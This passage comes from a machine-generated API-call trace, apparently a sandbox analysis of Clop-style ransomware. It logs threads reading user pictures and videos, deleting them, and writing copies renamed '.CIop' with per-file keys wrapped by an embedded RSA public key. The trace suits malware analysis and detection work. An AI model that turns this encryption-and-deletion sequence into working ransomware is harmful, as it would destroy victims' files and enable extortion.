(in: lpString1=0x347f368, lpString2="itHSyuXpEG8bbygGV.jpg" | out: lpString1="itHSyuXpEG8bbygGV.jpg") returned="itHSyuXpEG8bbygGV.jpg" [0099.685] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.685] SetErrorMode (uMode=0x1) returned 0x1 [0099.686] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\itHSyuXpEG8bbygGV.jpg") returned 113 [0099.686] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\itHSyuXpEG8bbygGV.jpg", dwFileAttributes=0x20) returned 1 [0099.686] StrStrW (lpFirst="itHSyuXpEG8bbygGV.jpg", lpSrch=".CIop") returned 0x0 [0099.686] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\itHSyuXpEG8bbygGV.jpg.CIop") returned 118 [0099.686] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\itHSyuXpEG8bbygGV.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\ithsyuxpeg8bbyggv.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x580 [0099.687] ReadFile (in: hFile=0x580, lpBuffer=0x656668, nNumberOfBytesToRead=0x16721, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesRead=0x347e5e8*=0x16721, lpOverlapped=0x0) returned 1 [0099.688] CloseHandle (hObject=0x580) returned 1 [0099.688] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\itHSyuXpEG8bbygGV.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\ithsyuxpeg8bbyggv.jpg")) returned 1 [0099.733] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0099.733] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0099.734] SetErrorMode (uMode=0x1) returned 0x1 [0099.734] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f03b60) returned 1 [0099.736] CryptGenKey (in: hProv=0x2f03b60, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x648a78) returned 1 [0099.856] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0099.856] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0099.856] CryptDestroyKey (hKey=0x648a78) returned 1 [0099.856] CryptReleaseContext (hProv=0x2f03b60, dwFlags=0x0) returned 1 [0099.856] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\itHSyuXpEG8bbygGV.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\ithsyuxpeg8bbyggv.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0099.858] WriteFile (in: hFile=0x5a4, lpBuffer=0x656668*, nNumberOfBytesToWrite=0x16721, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x656668*, lpNumberOfBytesWritten=0x347e5d8*=0x16721, lpOverlapped=0x0) returned 1 [0099.860] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16721 [0099.860] WriteFile (in: hFile=0x5a4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.860] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16728 [0099.860] SetErrorMode (uMode=0x1) returned 0x1 [0099.860] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.860] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.860] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0099.860] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f03698) returned 1 [0099.860] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03698, dwCertEncodingType=0x1, pInfo=0x6497e0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x6486b8) returned 1 [0099.860] CryptEncrypt (in: hKey=0x6486b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0099.860] CryptEncrypt (in: hKey=0x6486b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03cf8*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03cf8*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0099.860] WriteFile (in: hFile=0x5a4, lpBuffer=0x2f03cf8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03cf8*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.861] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.861] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.862] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.862] CloseHandle (hObject=0x5a4) returned 1 [0099.863] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\itHSyuXpEG8bbygGV.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\ithsyuxpeg8bbyggv.jpg")) returned 0 Thread: id = 160 os_tid = 0x7b8 [0099.748] lstrcpyA (in: lpString1=0x322e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.748] lstrcpyW (in: lpString1=0x322f368, lpString2="lYPIT_a_zAinFFHfUDV.jpg" | out: lpString1="lYPIT_a_zAinFFHfUDV.jpg") returned="lYPIT_a_zAinFFHfUDV.jpg" [0099.748] lstrcpyW (in: lpString1=0x322f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\" [0099.748] SetErrorMode (uMode=0x1) returned 0x1 [0099.748] wsprintfW (in: param_1=0x322eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\lYPIT_a_zAinFFHfUDV.jpg") returned 115 [0099.748] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\lYPIT_a_zAinFFHfUDV.jpg", dwFileAttributes=0x20) returned 1 [0099.749] StrStrW (lpFirst="lYPIT_a_zAinFFHfUDV.jpg", lpSrch=".CIop") returned 0x0 [0099.749] wsprintfW (in: param_1=0x322e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\lYPIT_a_zAinFFHfUDV.jpg.CIop") returned 120 [0099.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\lYPIT_a_zAinFFHfUDV.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\lypit_a_zainffhfudv.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x59c [0099.750] ReadFile (in: hFile=0x59c, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x17236, lpNumberOfBytesRead=0x322e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x322e5e8*=0x17236, lpOverlapped=0x0) returned 1 [0099.750] CloseHandle (hObject=0x59c) returned 1 [0099.751] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\lYPIT_a_zAinFFHfUDV.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\lypit_a_zainffhfudv.jpg")) returned 1 [0099.864] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0099.864] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0099.864] SetErrorMode (uMode=0x1) returned 0x1 [0099.864] CryptAcquireContextW (in: phProv=0x322e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x322e5b8*=0x2f03b60) returned 1 [0099.866] CryptGenKey (in: hProv=0x2f03b60, Algid=0x1, dwFlags=0x4000, phKey=0x322e5bc | out: phKey=0x322e5bc*=0x648a78) returned 1 [0099.972] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x322e5ec | out: pbData=0x0*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0099.972] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x322e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x322e5ec*=0x94) returned 1 [0099.972] CryptDestroyKey (hKey=0x648a78) returned 1 [0099.972] CryptReleaseContext (hProv=0x2f03b60, dwFlags=0x0) returned 1 [0099.972] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\lYPIT_a_zAinFFHfUDV.jpg.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\lypit_a_zainffhfudv.jpg.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b0 [0099.973] WriteFile (in: hFile=0x5b0, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x17236, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x322e5d8*=0x17236, lpOverlapped=0x0) returned 1 [0099.974] SetFilePointer (in: hFile=0x5b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17236 [0099.974] WriteFile (in: hFile=0x5b0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x322e5d8*=0x7, lpOverlapped=0x0) returned 1 [0099.974] SetFilePointer (in: hFile=0x5b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1723d [0099.975] SetErrorMode (uMode=0x1) returned 0x1 [0099.975] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0099.975] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x322d5b8, pcbBinary=0x322d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0099.975] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x322d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598 | out: pvStructInfo=0x322d5a0, pcbStructInfo=0x322d598) returned 1 [0099.975] CryptAcquireContextW (in: phProv=0x322d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x322d5a8*=0x2f03720) returned 1 [0099.975] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03720, dwCertEncodingType=0x1, pInfo=0x64a1a0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x322d5b0 | out: phKey=0x322d5b0*=0x648cf8) returned 1 [0099.975] CryptEncrypt (in: hKey=0x648cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x322d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x322d5b4*=0x80) returned 1 [0099.975] CryptEncrypt (in: hKey=0x648cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03f18*, pdwDataLen=0x322d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03f18*, pdwDataLen=0x322d5a4*=0x80) returned 1 [0099.975] WriteFile (in: hFile=0x5b0, lpBuffer=0x2f03f18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x322e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03f18*, lpNumberOfBytesWritten=0x322e5d8*=0x80, lpOverlapped=0x0) returned 1 [0099.975] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.976] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.976] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.976] CloseHandle (hObject=0x5b0) returned 1 [0099.978] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\lYPIT_a_zAinFFHfUDV.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\lypit_a_zainffhfudv.jpg")) returned 0 Thread: id = 161 os_tid = 0xa7c [0099.873] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.873] lstrcpyW (in: lpString1=0x357f368, lpString2="O4rsCOfAWVNZ.mp4" | out: lpString1="O4rsCOfAWVNZ.mp4") returned="O4rsCOfAWVNZ.mp4" [0099.874] lstrcpyW (in: lpString1=0x357f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.874] SetErrorMode (uMode=0x1) returned 0x1 [0099.874] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\O4rsCOfAWVNZ.mp4") returned 46 [0099.874] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\O4rsCOfAWVNZ.mp4", dwFileAttributes=0x20) returned 1 [0099.874] StrStrW (lpFirst="O4rsCOfAWVNZ.mp4", lpSrch=".CIop") returned 0x0 [0099.874] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\O4rsCOfAWVNZ.mp4.CIop") returned 51 [0099.874] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\O4rsCOfAWVNZ.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\o4rscofawvnz.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x598 [0099.875] ReadFile (in: hFile=0x598, lpBuffer=0x2ef0048, nNumberOfBytesToRead=0xdea9, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesRead=0x357e5e8*=0xdea9, lpOverlapped=0x0) returned 1 [0099.875] CloseHandle (hObject=0x598) returned 1 [0099.875] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\O4rsCOfAWVNZ.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\o4rscofawvnz.mp4")) returned 1 [0099.889] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ed0000 [0099.889] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0099.889] SetErrorMode (uMode=0x1) returned 0x1 [0099.889] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x2f03c70) returned 1 [0099.937] CryptGenKey (in: hProv=0x2f03c70, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x648ab8) returned 1 [0100.117] CryptExportKey (in: hKey=0x648ab8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0100.117] CryptExportKey (in: hKey=0x648ab8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ee0000, pdwDataLen=0x357e5ec | out: pbData=0x2ee0000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0100.117] CryptDestroyKey (hKey=0x648ab8) returned 1 [0100.117] CryptReleaseContext (hProv=0x2f03c70, dwFlags=0x0) returned 1 [0100.117] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\O4rsCOfAWVNZ.mp4.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\o4rscofawvnz.mp4.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0100.118] WriteFile (in: hFile=0x5bc, lpBuffer=0x2ef0048*, nNumberOfBytesToWrite=0xdea9, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesWritten=0x357e5d8*=0xdea9, lpOverlapped=0x0) returned 1 [0100.119] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xdea9 [0100.119] WriteFile (in: hFile=0x5bc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0100.119] SetFilePointer (in: hFile=0x5bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xdeb0 [0100.119] SetErrorMode (uMode=0x1) returned 0x1 [0100.119] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0100.119] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC 